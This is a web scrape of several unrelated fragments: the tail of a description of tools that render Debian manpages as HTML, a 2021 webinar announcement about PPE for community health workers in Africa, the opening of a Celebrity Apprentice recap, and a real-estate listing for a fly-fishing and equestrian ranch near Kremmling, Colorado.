Debian packages and transform them into HTML for viewing with a normal
web browser.
This suite of tools is designed to run on manpages.debian.org, manpages.ubuntu.com, linux.die.net or similar services.


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PPE Access for All: The Journey and the Future
Our COVID-19 Action Fund for Africa (CAF-Africa) partners invite you to the webinar, PPE Access for All: The Journey and the Future.
To date, we have committed and delivered 66 million personal protective equipment (PPE) items for almost 500,000 community health workers in Africa. Throughout this journey, thirty partners joined forces to protect community health workers while also identifying systemic gaps and barriers that prevent community health workers from receiving necessary protection, supplies and equipment. Through this workshop, the CAF-Africa partners will share what we learned, what gaps remain, and explore solutions for the future to make sure CHWs are supported, protected, and supplied.
The Impact
In part one, our in-country partners will discuss the impact of the donated PPE and community health workers' ongoing need for PPE.
The Journey
In part two, members of CAF-Africa's oversight committee will share and review the Fund's implications based on lessons learned and remaining needs.
The Future
In part three, supply and procurement experts will reflect on ongoing efforts and recommendations for the future to resolve PPE and community health supply challenges through global, regional, and country-focused action.
Time: 7:30 AM
Location: Virtual
Date: Thursday, April 8, 2021


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Celebrity Apprentice Recap: Gary Busey's Cheesey Pitch For Omaha Steaks Was Too Awkward To Watch!
It's a showdown between team leaders Hope Dworaczyk and Gary Busey in this week's Apr. 17 episode of 'Celebrity Apprentice!'
After everyone recovered from the initial shock of Donald Trump's decision to keep Gary Busey and send Mark McGrath packing on last week's episode, they received their next assignment. Hope Dworaczyk and Gary were the team leaders for the women's and men's teams to put on a live presentation for the Omaha Steak company.


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Bring the Whole Family to Fly Fishing Equine Ranch in Colorado
Time for some real bonding? Look to Kremmling CO real estate in the 176-acre Old World Ranch. The fly-fishing and equine ranch in Colorado will be a getaway for the whole family during all four seasons. It is not too rustic – Old World Ranch shares amenities with the fabulous Grand River Ranch and its 19,000 sprawling acres.
This resort like Colorado ranch offers a quality Western lifestyle complementary to city life. You will have takers for a long list of recreational activities. Start with the two fishing camps, exceptional equestrian center, sporting clays course, and an extensive trails system hiking and cross-country skiing on the ranch land. Relax with friends at the spacious Clubhouse.
Grand River Ranch is accessible all year round off US 40, just 2 miles west of Kremmling. Ranch roads are maintained. If you live in Denver or fly into the Denver International Airport, this is a real find. Old World Ranch is just two hours northwest of the Mile High City.
Luxury Lodge at Fly Fishing Equine Ranch in Colorado
The entire family will enjoy hanging out in the luxurious 3665 square foot log home. Boasting exquisite craftsmanship, the home is simply marvelous. Logs are beveled throughout, accented by stonework. In the Great Room, towering ceilings, exposed beams, and an extraordinary stone fireplace set the stage for the classic Western Lodge.
The exquisite property features three bedrooms, four baths, and a gourmet kitchen. Living areas extends outdoors to masterful stone porches and breathtaking views of the mountains. Accommodations also include ample living space above the barn and a remote yurt.
Equestrian Facilities
The matching log and stone barn features 1260 square feet, including three horse stalls. Old World Ranch shares equestrian amenities with Grand River Ranch where a fully staffed equestrian center and outdoor riding arena is available to all property owners. The ranch trail system connects with BLM and National Forest land and trails on the west.
Fishing Amenities
Fishing options are seemingly endless. Muddy Creek, below the Wolford Mountain Reservoir, provides 1.5 miles of small tail waters to all owners. Fishable year round, the creek supports 14-inch to 24-inch rainbow and brown trout. On Grand River Ranch, discover another large lake for fishing and boating as well as two beautiful creek-fed ponds.
Nearby Recreation
What else? Spectacular beauty – inside and out. Nestled into the tall aspen and conifer forests and mountain meadows, the ranch spans elevations of approximately 8600 to 9000 feet. It sits minutes from the Blue River and Colorado River.
The perfectly located mountain property is adjacent to Arapahoe National Forest where large herds of mule deer and elk freely roam. Snowmobilers access an extensive trails system near Rabbit Ears Pass. Several world-class ski resorts are an hour or so away. These include Steamboat Springs to the north, and Breckenridge, Keystone, Copper Mountain, and Winter Park to the south and east.
Real Estate Agents – Ranches in Colorado
Request more information about recreational ranches near Denver. Contact Dave Harrigan or Hunter Harrigan at Harrigan Land Company at (800) 524-1818. Specializing in large ranch and recreational properties in Colorado, Wyoming, New Mexico, and Utah.